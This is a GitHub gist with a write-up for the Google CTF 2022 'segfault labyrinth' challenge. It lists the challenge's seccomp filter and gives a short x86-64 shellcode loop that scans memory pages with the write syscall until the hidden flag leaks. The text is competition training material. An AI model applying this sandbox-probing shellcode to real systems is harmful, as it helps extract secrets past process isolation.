Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active July 21, 2022 10:49
Show Gist options
  • Save Stfort52/f0ee43a4f505d6093a4f2a81feefb4cf to your computer and use it in GitHub Desktop.
Save Stfort52/f0ee43a4f505d6093a4f2a81feefb4cf to your computer and use it in GitHub Desktop.
write-up for gooooooogle CTF 2022 segfault labyrinth

GCTF 2022 segfault labyrinth

This is a write-up for task segfault labyrinth in google ctf 2022

Analysis

The problem is consisted with a single amd64 binary. What it does is simple. It just runs your shellcode with some limitations. For example, there is a seccomp filter which prevents you from getting new file descriptors.

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000009  if (A != mmap) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x15 0x00 0x01 0x0000000b  if (A != munmap) goto 0016
 0015: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0016: 0x15 0x00 0x01 0x00000005  if (A != fstat) goto 0018
 0017: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0018: 0x15 0x00 0x01 0x00000004  if (A != stat) goto 0020
 0019: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0020: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0022
 0021: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0022: 0x06 0x00 0x00 0x00000000  return KILL

Then it would be impossible to read flag.txt without some serious dark magic. Therefore, the binary opens the flag and loads it onto the memory. However its address has a bit of fluctuations. It creates A LOT of randomized memory maps, and puts the flag in only one of them. Fortunately, the address is not completely random, but predictable as it's just a glibc's rand() with the default seed(1).

Solution

I first made a stupid code that reads every single possible page, regardless if it's actually allocated or not, and prints the contents of it. As we were able to use syscalls like write(), we don't need to rely on sophiscated methods(i.e. Transactions) to avoid crashing the program by invalid memory access, as system calls just return negative rax on failure. While this stupid version of the solver was working, I worked on porting glibc's rand() into a compact assembly. However, while I was working for it, the stupid version just got the flag right.

image

mov rsi, 0x000000216232b000
mov rdx, 0x40
mov rdi, 1 /*stdout*/
1:
xor rax, rax /*remove return code*/
inc rax /*SYS_WRITE*/
syscall
add rsi, 0x1000
jmp 1b /*hanmu loop time*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment